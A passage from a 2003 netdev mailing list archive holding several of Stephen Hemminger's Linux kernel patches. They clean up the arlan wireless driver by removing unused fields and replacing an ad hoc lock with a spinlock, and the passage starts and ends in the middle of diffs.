eth_type_trans(skb, dev); - IFDEBUG(ARLAN_DEBUG_HEADER_DUMP) - if (skb->protocol != 0x608 && skb->protocol != 0x8) - { - for (i = 0; i <= 22; i++) - printk("%02x:", (u_char) skbtmp[i + 12]); - printk(KERN_ERR "\n"); - printk(KERN_WARNING "arlan kernel pkt type trans %x \n", skb->protocol); - } - netif_rx(skb); - dev->last_rx = jiffies; - priv->stats.rx_packets++; - priv->stats.rx_bytes += pkt_len; - } - break; - - default: - printk(KERN_ERR "arlan intr: received unknown status\n"); - priv->stats.rx_crc_errors++; - break; - } - ARLAN_DEBUG_EXIT("arlan_rx_interrupt"); -} - -static void arlan_process_interrupt(struct net_device *dev) -{ - struct arlan_private *priv = (struct arlan_private *) dev->priv; - volatile struct arlan_shmem *arlan = priv->card; - u_char rxStatus = READSHMB(arlan->rxStatus); - u_char txStatus = READSHMB(arlan->txStatus); - u_short rxOffset = READSHMS(arlan->rxOffset); - u_short pkt_len = READSHMS(arlan->rxLength); - int interrupt_count = 0; - - ARLAN_DEBUG_ENTRY("arlan_process_interrupt"); - - if (test_and_set_bit(0, (void *) &priv->interrupt_processing_active)) - { - if (arlan_debug & ARLAN_DEBUG_CHAIN_LOCKS) - printk(KERN_ERR "interrupt chain reentering \n"); - goto end_int_process; - } - while ((rxStatus || txStatus || priv->interrupt_ack_requested) - && (interrupt_count < 5)) - { - if (rxStatus) - priv->last_rx_int_ack_time = arlan_time(); - - arlan_command(dev, ARLAN_COMMAND_INT_ACK); - arlan_command(dev, ARLAN_COMMAND_INT_ENABLE); - - IFDEBUG(ARLAN_DEBUG_INTERRUPT) - printk(KERN_ERR "%s: got IRQ rx %x tx %x comm %x rxOff %x rxLen %x \n", - dev->name, rxStatus, txStatus, READSHMB(arlan->commandByte), - rxOffset, pkt_len); - - if (rxStatus == 0 && txStatus == 0) - { - priv->last_command_was_rx = 0; - if (priv->irq_test_done) - { - if (!registrationBad(dev)) - IFDEBUG(ARLAN_DEBUG_INTERRUPT) printk(KERN_ERR "%s unknown interrupt(nop? regLost ?) reason tx %d rx %d ", - dev->name, txStatus, rxStatus); - } else { - IFDEBUG(ARLAN_DEBUG_INTERRUPT) - printk(KERN_INFO "%s irq $%d test OK \n", dev->name, dev->irq); - - } - priv->interrupt_ack_requested = 0; - goto ends; - } - if (txStatus != 0) - { - WRITESHMB(arlan->txStatus, 0x00); - arlan_tx_done_interrupt(dev, txStatus); - goto ends; - } - if (rxStatus == 1 || rxStatus == 2) - { /* a packet waiting */ - arlan_rx_interrupt(dev, rxStatus, rxOffset, pkt_len); - goto ends; - } - if (rxStatus > 2 && rxStatus < 0xff) - { - priv->last_command_was_rx = 0; - WRITESHMB(arlan->rxStatus, 0x00); - printk(KERN_ERR "%s unknown rxStatus reason tx %d rx %d ", - dev->name, txStatus, rxStatus); - goto ends; - } - if (rxStatus == 0xff) - { - priv->last_command_was_rx = 0; - WRITESHMB(arlan->rxStatus, 0x00); - arlan_command(dev, ARLAN_COMMAND_RX); - if (registrationBad(dev)) - netif_device_detach(dev); - if (!registrationBad(dev)) - { - priv->registrationLastSeen = jiffies; - if (!netif_queue_stopped(dev) && !priv->under_reset && !priv->under_config) - netif_wake_queue (dev); - } - goto ends; - } -ends: - - arlan_command_process(dev); - - rxStatus = READSHMB(arlan->rxStatus); - txStatus = READSHMB(arlan->txStatus); - rxOffset = READSHMS(arlan->rxOffset); - pkt_len = READSHMS(arlan->rxLength); - - - priv->irq_test_done = 1; - - interrupt_count++; - } - priv->interrupt_processing_active = 0; - -end_int_process: - arlan_command_process(dev); - - ARLAN_DEBUG_EXIT("arlan_process_interrupt"); - return; -} - -static irqreturn_t arlan_interrupt(int irq, void *dev_id, struct pt_regs *regs) -{ - struct net_device *dev = dev_id; - struct arlan_private *priv = (struct arlan_private *) dev->priv; - volatile struct arlan_shmem *arlan = priv->card; - u_char rxStatus = READSHMB(arlan->rxStatus); - u_char txStatus = READSHMB(arlan->txStatus); - - ARLAN_DEBUG_ENTRY("arlan_interrupt"); - - - if (!rxStatus && !txStatus) - priv->interrupt_ack_requested++; - - arlan_process_interrupt(dev); - - priv->irq_test_done = 1; - - ARLAN_DEBUG_EXIT("arlan_interrupt"); - return IRQ_HANDLED; - -} - - -static int arlan_close(struct net_device *dev) -{ - struct arlan_private *priv = (struct arlan_private *) dev->priv; - - if (!dev) - { - printk(KERN_CRIT "arlan: No Device\n"); - return 0; - } - priv = (struct arlan_private *) dev->priv; - if (!priv) - { - printk(KERN_CRIT "arlan: No Device priv \n"); - return 0; - } - ARLAN_DEBUG_ENTRY("arlan_close"); - - del_timer(&priv->timer); - - arlan_command(dev, ARLAN_COMMAND_POWERDOWN); - - IFDEBUG(ARLAN_DEBUG_STARTUP) - printk(KERN_NOTICE "%s: Closing device\n", dev->name); - - priv->open_time = 0; - netif_stop_queue(dev); - free_irq(dev->irq, dev); - - ARLAN_DEBUG_EXIT("arlan_close"); - return 0; -} - -#ifdef ARLAN_DEBUGGING -static long alignLong(volatile u_char * ptr) -{ - long ret; - memcpy_fromio(&ret, (void *) ptr, 4); - return ret; -} -#endif - -/* - * Get the current statistics. - * This may be called with the card open or closed. - */ - -static struct net_device_stats *arlan_statistics(struct net_device *dev) -{ - struct arlan_private *priv = (struct arlan_private *) dev->priv; - volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; - - - ARLAN_DEBUG_ENTRY("arlan_statistics"); - - /* Update the statistics from the device registers. */ - - READSHM(priv->stats.collisions, arlan->numReTransmissions, u_int); - READSHM(priv->stats.rx_crc_errors, arlan->numCRCErrors, u_int); - READSHM(priv->stats.rx_dropped, arlan->numFramesDiscarded, u_int); - READSHM(priv->stats.rx_fifo_errors, arlan->numRXBufferOverflows, u_int); - READSHM(priv->stats.rx_frame_errors, arlan->numReceiveFramesLost, u_int); - READSHM(priv->stats.rx_over_errors, arlan->numRXOverruns, u_int); - READSHM(priv->stats.rx_packets, arlan->numDatagramsReceived, u_int); - READSHM(priv->stats.tx_aborted_errors, arlan->numAbortErrors, u_int); - READSHM(priv->stats.tx_carrier_errors, arlan->numStatusTimeouts, u_int); - READSHM(priv->stats.tx_dropped, arlan->numDatagramsDiscarded, u_int); - READSHM(priv->stats.tx_fifo_errors, arlan->numTXUnderruns, u_int); - READSHM(priv->stats.tx_packets, arlan->numDatagramsTransmitted, u_int); - READSHM(priv->stats.tx_window_errors, arlan->numHoldOffs, u_int); - - ARLAN_DEBUG_EXIT("arlan_statistics"); - - return &priv->stats; -} - - -static void arlan_set_multicast(struct net_device *dev) -{ - volatile struct arlan_shmem *arlan = ((struct arlan_private *) dev->priv)->card; - struct arlan_conf_stru *conf = ((struct arlan_private *) dev->priv)->Conf; - int board_conf_needed = 0; - - - ARLAN_DEBUG_ENTRY("arlan_set_multicast"); - - if (dev->flags & IFF_PROMISC) - { - unsigned char recMode; - READSHM(recMode, arlan->receiveMode, u_char); - conf->receiveMode = (ARLAN_RCV_PROMISC | ARLAN_RCV_CONTROL); - if (conf->receiveMode != recMode) - board_conf_needed = 1; - } - else - { - /* turn off promiscuous mode */ - unsigned char recMode; - READSHM(recMode, arlan->receiveMode, u_char); - conf->receiveMode = ARLAN_RCV_CLEAN | ARLAN_RCV_CONTROL; - if (conf->receiveMode != recMode) - board_conf_needed = 1; - } - if (board_conf_needed) - arlan_command(dev, ARLAN_COMMAND_CONF); - - ARLAN_DEBUG_EXIT("arlan_set_multicast"); -} - - -int __init arlan_probe(struct net_device *dev) -{ - printk("Arlan driver %s\n", arlan_version); - - if (arlan_probe_everywhere(dev)) - return -ENODEV; - - arlans_found++; - - if (arlans_found == 1) - siteName = kmalloc(100, GFP_KERNEL); - return 0; -} - -#ifdef MODULE - -static int __init arlan_find_devices(void) -{ - int m; - int found = 0; - - ARLAN_DEBUG_ENTRY("arlan_find_devices"); - if (mem != 0 && numDevices == 1) /* Check a single specified location. */ - return 1; - for (m =(int) phys_to_virt(0xc0000); m <=(int) phys_to_virt(0xDE000); m += 0x2000) - { - if (arlan_check_fingerprint(m) == 0) - found++; - } - ARLAN_DEBUG_EXIT("arlan_find_devices"); - - return found; -} - -int init_module(void) -{ - int i = 0; - - ARLAN_DEBUG_ENTRY("init_module"); - - if (channelSet != channelSetUNKNOWN || channelNumber != channelNumberUNKNOWN || systemId != systemIdUNKNOWN) - return -EINVAL; - - numDevices = arlan_find_devices(); - if (numDevices == 0) - return -ENODEV; - - siteName = kmalloc(100, GFP_KERNEL); - if(siteName==NULL) - return -ENOMEM; - - for (i = 0; i < numDevices && i < MAX_ARLANS; i++) - { - if (!arlan_allocate_device(i, NULL)) - return -ENOMEM; - - if (arlan_device[i] == NULL) - return -ENOMEM; - - if (probe) - arlan_probe_everywhere(arlan_device[i]); -// arlan_command(arlan_device[i], ARLAN_COMMAND_POWERDOWN ); - } - printk(KERN_INFO "Arlan driver %s\n", arlan_version); - ARLAN_DEBUG_EXIT("init_module"); - return 0; -} - - -void cleanup_module(void) -{ - int i = 0; - struct arlan_private *ap; - - ARLAN_DEBUG_ENTRY("cleanup_module"); - - IFDEBUG(ARLAN_DEBUG_SHUTDOWN) - printk(KERN_INFO "arlan: unloading module\n"); - for (i = 0; i < MAX_ARLANS; i++) - { - if (arlan_device[i]) - { - arlan_command(arlan_device[i], ARLAN_COMMAND_POWERDOWN ); - -// release_mem_region(virt_to_phys(arlan_device[i]->mem_start), 0x2000 ); - unregister_netdev(arlan_device[i]); - ap = arlan_device[i]->priv; - if (ap->init_etherdev_alloc) { - free_netdev(arlan_device[i]); - arlan_device[i] = NULL; - } else { - kfree(ap); - ap = NULL; - } - } - } - ARLAN_DEBUG_EXIT("cleanup_module"); -} - - -#endif -MODULE_LICENSE("GPL"); diff -Nru a/drivers/net/wireless/arlan.h b/drivers/net/wireless/arlan.h --- a/drivers/net/wireless/arlan.h Wed Sep 24 12:43:34 2003 +++ b/drivers/net/wireless/arlan.h Wed Sep 24 12:43:34 2003 @@ -39,9 +39,12 @@ #define ARLAN_RCV_PROMISC 1 #define ARLAN_RCV_CONTROL 2 - #ifdef CONFIG_PROC_FS -extern int init_arlan_proc(void); +extern int init_arlan_proc(void); +extern void cleanup_arlan_proc(void); +#else +#define init_arlan_proc() (0) +#define cleanup_arlan_proc() do { } while (0); #endif extern struct net_device *arlan_device[MAX_ARLANS]; From shemminger@osdl.org Thu Sep 25 16:01:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 16:02:04 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PN1rFx002369 for ; Thu, 25 Sep 2003 16:01:53 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8PN1k111617; Thu, 25 Sep 2003 16:01:46 -0700 Date: Thu, 25 Sep 2003 15:59:59 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (5/8) arlan -- more set never used elements Message-Id: <20030925155959.7f95e824.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 254 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3273 Lines: 123 Still more places state is saved and never used. diff -Nru a/drivers/net/wireless/arlan-main.c b/drivers/net/wireless/arlan-main.c --- a/drivers/net/wireless/arlan-main.c Thu Sep 25 14:55:21 2003 +++ b/drivers/net/wireless/arlan-main.c Thu Sep 25 14:55:21 2003 @@ -156,7 +156,6 @@ TXHEAD(dev).offset = 0; TXTAIL(dev).offset = 0; priv->txLast = 0; - priv->txOffset = 0; priv->bad = 0; if (!priv->under_reset && !priv->under_config) netif_wake_queue (dev); @@ -549,7 +548,6 @@ } else IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk(KERN_ERR "ReTransmit buff empty"); - priv->txOffset = 0; netif_wake_queue (dev); return; @@ -575,10 +573,6 @@ int bh_mark_needed = 0; int next_tick = 1; - - priv->timer_chain_active = 1; - - if (registrationBad(dev)) { //debug=100; @@ -643,7 +637,6 @@ } if (!(TXHEAD(dev).offset && TXTAIL(dev).offset)) { - priv->txOffset = 0; netif_wake_queue (dev); } priv->tx_done_delayed = 0; @@ -651,7 +644,6 @@ } if (bh_mark_needed) { - priv->txOffset = 0; netif_wake_queue (dev); } arlan_process_interrupt(dev); @@ -659,7 +651,6 @@ if (next_tick < priv->card_polling_interval) next_tick = priv->card_polling_interval; - priv->timer_chain_active = 0; priv->timer.expires = jiffies + next_tick; add_timer(&priv->timer); @@ -1245,7 +1236,6 @@ priv->reset = 0; memcpy_fromio(dev->dev_addr, arlan->lanCardNodeId, 6); memset(dev->broadcast, 0xff, 6); - priv->txOffset = 0; dev->tx_queue_len = tx_queue_len; priv->interrupt_processing_active = 0; priv->command_lock = 0; @@ -1291,7 +1281,6 @@ static int arlan_tx(struct sk_buff *skb, struct net_device *dev) { - struct arlan_private *priv = dev->priv; short length; unsigned char *buf; @@ -1300,7 +1289,7 @@ length = ETH_ZLEN < skb->len ? skb->len : ETH_ZLEN; buf = skb->data; - if (priv->txOffset + length + 0x12 > 0x800) { + if (length + 0x12 > 0x800) { printk(KERN_ERR "TX RING overflow \n"); netif_stop_queue (dev); } @@ -1313,13 +1302,11 @@ dev_kfree_skb(skb); arlan_process_interrupt(dev); - priv->tx_chain_active = 0; ARLAN_DEBUG_EXIT("arlan_tx"); return 0; bad_end: arlan_process_interrupt(dev); - priv->tx_chain_active = 0; netif_stop_queue (dev); ARLAN_DEBUG_EXIT("arlan_tx"); return 1; @@ -1417,7 +1404,6 @@ } if (!TXHEAD(dev).offset || !TXTAIL(dev).offset) { - priv->txOffset = 0; netif_wake_queue (dev); } } diff -Nru a/drivers/net/wireless/arlan.h b/drivers/net/wireless/arlan.h --- a/drivers/net/wireless/arlan.h Thu Sep 25 14:55:21 2003 +++ b/drivers/net/wireless/arlan.h Thu Sep 25 14:55:21 2003 @@ -358,7 +358,6 @@ char reTransmitBuff[0x800]; volatile int txLast; volatile int txNew; - volatile int txOffset; volatile char ReTransmitRequested; volatile unsigned long tx_done_delayed; volatile long long registrationLastSeen; @@ -367,8 +366,6 @@ volatile long long tx_last_sent; volatile long long tx_last_cleared; volatile int retransmissions; - volatile int tx_chain_active; - volatile int timer_chain_active; volatile int interrupt_ack_requested; volatile long command_lock; volatile int rx_command_needed; From shemminger@osdl.org Thu Sep 25 16:01:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 16:02:03 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PN1qFx002367 for ; Thu, 25 Sep 2003 16:01:52 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8PN1k111621; Thu, 25 Sep 2003 16:01:46 -0700 Date: Thu, 25 Sep 2003 16:00:14 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (6/8) arlan -- add spinlock Message-Id: <20030925160014.1399184a.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 252 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3789 Lines: 121 Convert bogus test_and_set local wait, to a real spin_lock so it has a chance of working on an SMP. This also does the right thing and locks out interrupts while giving commands on UP; maybe the comment in Kconfig was because there was never a proper mutex... Don't have real hardware to try this, but it can't be worse than the previous code. diff -Nru a/drivers/net/wireless/arlan-main.c b/drivers/net/wireless/arlan-main.c --- a/drivers/net/wireless/arlan-main.c Thu Sep 25 15:08:01 2003 +++ b/drivers/net/wireless/arlan-main.c Thu Sep 25 15:08:01 2003 @@ -44,7 +44,6 @@ static int mdebug; #endif -#if LINUX_VERSION_CODE > 0x20100 MODULE_PARM(irq, "i"); MODULE_PARM(mem, "i"); MODULE_PARM(probe, "i"); @@ -87,10 +86,6 @@ MODULE_PARM_DESC(arlan_entry_and_exit_debug, "(ignored)"); #endif -#else -#define test_and_set_bit set_bit -#endif - struct arlan_conf_stru arlan_conf[MAX_ARLANS]; static int arlans_found; @@ -172,6 +167,7 @@ int udelayed = 0; int i = 0; long long time_mks = arlan_time(); + unsigned long flags; ARLAN_DEBUG_ENTRY("arlan_command"); @@ -179,8 +175,8 @@ priv->card_polling_interval = 1; if (arlan_debug & ARLAN_DEBUG_CHAIN_LOCKS) - printk(KERN_DEBUG "arlan_command, %lx lock %lx commandByte %x waiting %x incoming %x \n", - jiffies, priv->command_lock, READSHMB(arlan->commandByte), + printk(KERN_DEBUG "arlan_command, %lx commandByte %x waiting %x incoming %x \n", + jiffies, READSHMB(arlan->commandByte), priv->waiting_command_mask, command_p); priv->waiting_command_mask |= command_p; @@ -201,13 +197,8 @@ } /* Card access serializing lock */ + spin_lock_irqsave(&priv->lock, flags); - if (test_and_set_bit(0, (void *) &priv->command_lock)) - { - if (arlan_debug & ARLAN_DEBUG_CHAIN_LOCKS) - printk(KERN_DEBUG "arlan_command: entered when command locked \n"); - goto command_busy_end; - } /* Check cards status and waiting */ if (priv->waiting_command_mask & (ARLAN_COMMAND_LONG_WAIT_NOW | ARLAN_COMMAND_WAIT_NOW)) @@ -475,7 +466,7 @@ if (arlan_debug & ARLAN_DEBUG_CARD_STATE) printk(KERN_ERR "card busy leaving command %x \n", priv->waiting_command_mask); - priv->command_lock = 0; + spin_unlock_irqrestore(&priv->lock, flags); ARLAN_DEBUG_EXIT("arlan_command"); priv->last_command_buff_free_time = jiffies; return 0; @@ -486,24 +477,17 @@ if (arlan_debug & ARLAN_DEBUG_CARD_STATE) printk(KERN_ERR "%s arlan_command card busy end \n", dev->name); - priv->command_lock = 0; + spin_unlock_irqrestore(&priv->lock, flags); ARLAN_DEBUG_EXIT("arlan_command"); return 1; bad_end: printk(KERN_ERR "%s arlan_command bad end \n", dev->name); - priv->command_lock = 0; + spin_unlock_irqrestore(&priv->lock, flags); ARLAN_DEBUG_EXIT("arlan_command"); return -1; - -command_busy_end: - if (arlan_debug & ARLAN_DEBUG_CARD_STATE) - printk(KERN_ERR "%s arlan_command command busy end \n", dev->name); - ARLAN_DEBUG_EXIT("arlan_command"); - return 2; - } static inline void arlan_command_process(struct net_device *dev) @@ -1238,7 +1222,7 @@ memset(dev->broadcast, 0xff, 6); dev->tx_queue_len = tx_queue_len; priv->interrupt_processing_active = 0; - priv->command_lock = 0; + spin_lock_init(&priv->lock); netif_start_queue (dev); diff -Nru a/drivers/net/wireless/arlan.h b/drivers/net/wireless/arlan.h --- a/drivers/net/wireless/arlan.h Thu Sep 25 15:08:01 2003 +++ b/drivers/net/wireless/arlan.h Thu Sep 25 15:08:01 2003 @@ -367,7 +367,7 @@ volatile long long tx_last_cleared; volatile int retransmissions; volatile int interrupt_ack_requested; - volatile long command_lock; + spinlock_t lock; volatile int rx_command_needed; volatile int tx_command_needed; volatile int waiting_command_mask; From shemminger@osdl.org Thu Sep 25 16:01:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Thu, 25 Sep 2003 16:02:03 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8PN1qFx002366 for ; Thu, 25 Sep 2003 16:01:52 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8PN1k111607; Thu, 25 Sep 2003 16:01:46 -0700 Date: Thu, 25 Sep 2003 15:59:34 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] (2/8) arlan -- get rid of some dead wood Message-Id: <20030925155934.21697d56.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 253 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 8419 Lines: 285 This code is littered with unused structure elements and globals. Eliminate some of the fields set and never used. More in later patches. diff -Nru a/drivers/net/wireless/arlan-main.c b/drivers/net/wireless/arlan-main.c --- a/drivers/net/wireless/arlan-main.c Thu Sep 25 14:32:55 2003 +++ b/drivers/net/wireless/arlan-main.c Thu Sep 25 14:32:55 2003 @@ -16,15 +16,12 @@ static const char *arlan_version = "C.Jennigs 97 & Elmer.Joandi@ut.ee Oct'98, http://www.ylenurme.ee/~elmer/655/"; struct net_device *arlan_device[MAX_ARLANS]; -int last_arlan; static int SID = SIDUNKNOWN; static int radioNodeId = radioNodeIdUNKNOWN; static char encryptionKey[12] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h'}; -static char *siteName = siteNameUNKNOWN; static int mem = memUNKNOWN; int arlan_debug = debugUNKNOWN; -static int probe = probeUNKNOWN; static int numDevices = numDevicesUNKNOWN; static int spreadingCode = spreadingCodeUNKNOWN; static int channelNumber = channelNumberUNKNOWN; @@ -34,7 +31,6 @@ static int keyStart; static int tx_delay_ms; static int retries = 5; -static int async = 1; static int tx_queue_len = 1; static int arlan_EEPROM_bad; @@ -91,16 +87,8 @@ MODULE_PARM_DESC(arlan_entry_and_exit_debug, "(ignored)"); #endif -// #warning kernel 2.1.110 tested -#define myATOMIC_INIT(a,b) atomic_set(&(a),b) - #else #define test_and_set_bit set_bit -#if LINUX_VERSION_CODE != 0x20024 - // #warning kernel 2.0.36 tested -#endif -#define myATOMIC_INIT(a,b) a = b; - #endif struct arlan_conf_stru arlan_conf[MAX_ARLANS]; @@ -120,7 +108,6 @@ static void arlan_rx_interrupt (struct net_device * dev, u_char rxStatus, u_short, u_short); static void arlan_process_interrupt (struct net_device * dev); static void arlan_tx_timeout (struct net_device *dev); -int arlan_command(struct net_device * dev, int command); static inline long long arlan_time(void) { @@ -154,32 +141,6 @@ clearClearInterrupt(dev);\ setClearInterrupt(dev); - -#define ARLAN_COMMAND_LOCK(dev) \ - if (atomic_dec_and_test(&((struct arlan_private * )dev->priv)->card_users))\ - arlan_wait_command_complete_short(dev,__LINE__); -#define ARLAN_COMMAND_UNLOCK(dev) \ - atomic_inc(&((struct arlan_private * )dev->priv)->card_users); - - -#define ARLAN_COMMAND_INC(dev) \ - {((struct arlan_private *) dev->priv)->under_command++;} -#define ARLAN_COMMAND_ZERO(dev) \ - {((struct arlan_private *) dev->priv)->under_command =0;} -#define ARLAN_UNDER_COMMAND(dev)\ - (((struct arlan_private *) dev->priv)->under_command) - -#define ARLAN_COMMAND_START(dev) ARLAN_COMMAND_INC(dev) -#define ARLAN_COMMAND_END(dev) ARLAN_COMMAND_ZERO(dev) -#define ARLAN_TOGGLE_START(dev)\ - {((struct arlan_private *) dev->priv)->under_toggle++;} -#define ARLAN_TOGGLE_END(dev)\ - {((struct arlan_private *) dev->priv)->under_toggle=0;} -#define ARLAN_UNDER_TOGGLE(dev)\ - (((struct arlan_private *) dev->priv)->under_toggle) - - - static inline int arlan_drop_tx(struct net_device *dev) { struct arlan_private *priv = ((struct arlan_private *) dev->priv); @@ -366,7 +327,6 @@ WRITESHM(arlan->resetFlag, 0xff, u_char); clearChannelAttention(dev); clearHardwareReset(dev); - priv->numResets++; priv->card_polling_interval = HZ / 4; priv->waiting_command_mask &= ~ARLAN_COMMAND_RESET; priv->waiting_command_mask |= ARLAN_COMMAND_INT_RACK; @@ -597,8 +557,6 @@ } arlan_command(dev, ARLAN_COMMAND_TX); - priv->nof_tx++; - priv->Conf->driverRetransmissions++; priv->retransmissions++; @@ -796,6 +754,7 @@ IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk(KERN_ERR "TX TAIL & HEAD full, return, tailStart %d headEnd %d\n", tailStarts, headEnds); } + priv->out_bytes += length; priv->out_bytes10 += length; if (conf->measure_rate < 1) @@ -833,7 +792,6 @@ priv->last_command_was_rx = 0; priv->tx_last_sent = jiffies; - priv->nof_tx++; IFDEBUG(ARLAN_DEBUG_TX_CHAIN) printk("%s TX Qued %d bytes \n", dev->name, length); @@ -1029,7 +987,6 @@ conf->siteName[16] = '\0'; conf->retries = retries; conf->tx_delay_ms = tx_delay_ms; - conf->async = async; conf->ReTransmitPacketMaxSize = 200; conf->waitReTransmitPacketMaxSize = 200; conf->txAckTimeoutMs = 900; @@ -1284,7 +1241,6 @@ priv->bad = 0; priv->lastReset = 0; priv->reset = 0; - priv->open_time = jiffies; memcpy_fromio(dev->dev_addr, arlan->lanCardNodeId, 6); memset(dev->broadcast, 0xff, 6); priv->txOffset = 0; @@ -1294,8 +1250,6 @@ netif_start_queue (dev); - init_MUTEX(&priv->card_lock); - myATOMIC_INIT(priv->card_users, 1); /* damn 2.0.33 */ priv->registrationLostCount = 0; priv->registrationLastSeen = jiffies; priv->txLast = 0; @@ -1303,8 +1257,6 @@ priv->rx_command_given = 0; priv->reRegisterExp = 1; - priv->nof_tx = 0; - priv->nof_tx_ack = 0; priv->last_command_was_rx = 0; priv->tx_last_sent = jiffies - 1; priv->tx_last_cleared = jiffies; @@ -1435,7 +1387,6 @@ priv->tx_last_cleared = jiffies; priv->tx_command_given = 0; - priv->nof_tx_ack++; switch (status) { case 1: @@ -1876,7 +1827,6 @@ IFDEBUG(ARLAN_DEBUG_STARTUP) printk(KERN_NOTICE "%s: Closing device\n", dev->name); - priv->open_time = 0; netif_stop_queue(dev); free_irq(dev->irq, dev); @@ -1969,9 +1919,6 @@ return -ENODEV; arlans_found++; - - if (arlans_found == 1) - siteName = kmalloc(100, GFP_KERNEL); return 0; } @@ -2007,10 +1954,6 @@ numDevices = arlan_find_devices(); if (numDevices == 0) return -ENODEV; - - siteName = kmalloc(100, GFP_KERNEL); - if(siteName==NULL) - return -ENOMEM; for (i = 0; i < numDevices && i < MAX_ARLANS; i++) { diff -Nru a/drivers/net/wireless/arlan-proc.c b/drivers/net/wireless/arlan-proc.c --- a/drivers/net/wireless/arlan-proc.c Thu Sep 25 14:32:55 2003 +++ b/drivers/net/wireless/arlan-proc.c Thu Sep 25 14:32:55 2003 @@ -866,7 +866,6 @@ CTBLN(32,cardNo,lParameter),\ CTBLN(33,cardNo,_15),\ CTBLN(34,cardNo,headerSize),\ - CTBLN(35,cardNo,async),\ CTBLN(36,cardNo,tx_delay_ms),\ CTBLN(37,cardNo,retries),\ CTBLN(38,cardNo,ReTransmitPacketMaxSize),\ diff -Nru a/drivers/net/wireless/arlan.h b/drivers/net/wireless/arlan.h --- a/drivers/net/wireless/arlan.h Thu Sep 25 14:32:55 2003 +++ b/drivers/net/wireless/arlan.h Thu Sep 25 14:32:55 2003 @@ -49,7 +49,6 @@ extern struct net_device *arlan_device[MAX_ARLANS]; extern int arlan_debug; -extern char * siteName; extern int arlan_entry_debug; extern int arlan_exit_debug; extern int testMemory; @@ -70,8 +69,6 @@ #define channelSetUNKNOWN 0 #define systemIdUNKNOWN -1 #define registrationModeUNKNOWN -1 -#define siteNameUNKNOWN "LinuxSite" - #define IFDEBUG( L ) if ( (L) & arlan_debug ) @@ -296,7 +293,6 @@ int lParameter; int _15; int headerSize; - int async; int retries; int tx_delay_ms; int waitReTransmitPacketMaxSize; @@ -335,17 +331,10 @@ volatile unsigned char scrambled; }; -struct TxRingPoint { - struct TxParam txParam; - - -}; - #define TX_RING_SIZE 2 /* Information that need to be kept for each board. */ struct arlan_private { struct net_device_stats stats; - long open_time; /* Useless example local info. */ struct arlan_shmem * card; struct arlan_shmem * conf; struct TxParam txParam; @@ -360,16 +349,9 @@ struct timer_list tx_delay_timer; struct timer_list tx_retry_timer; struct timer_list rx_check_timer; - struct semaphore card_lock; - atomic_t card_users; - atomic_t delay_on; - atomic_t retr_on; + int registrationLostCount; int reRegisterExp; - int nof_tx; - int nof_tx_ack; - int last_nof_tx; - int last_nof_tx_ack; int irq_test_done; int last_command_was_rx; struct TxParam txRing[TX_RING_SIZE]; @@ -384,7 +366,6 @@ volatile char under_toggle; volatile long long tx_last_sent; volatile long long 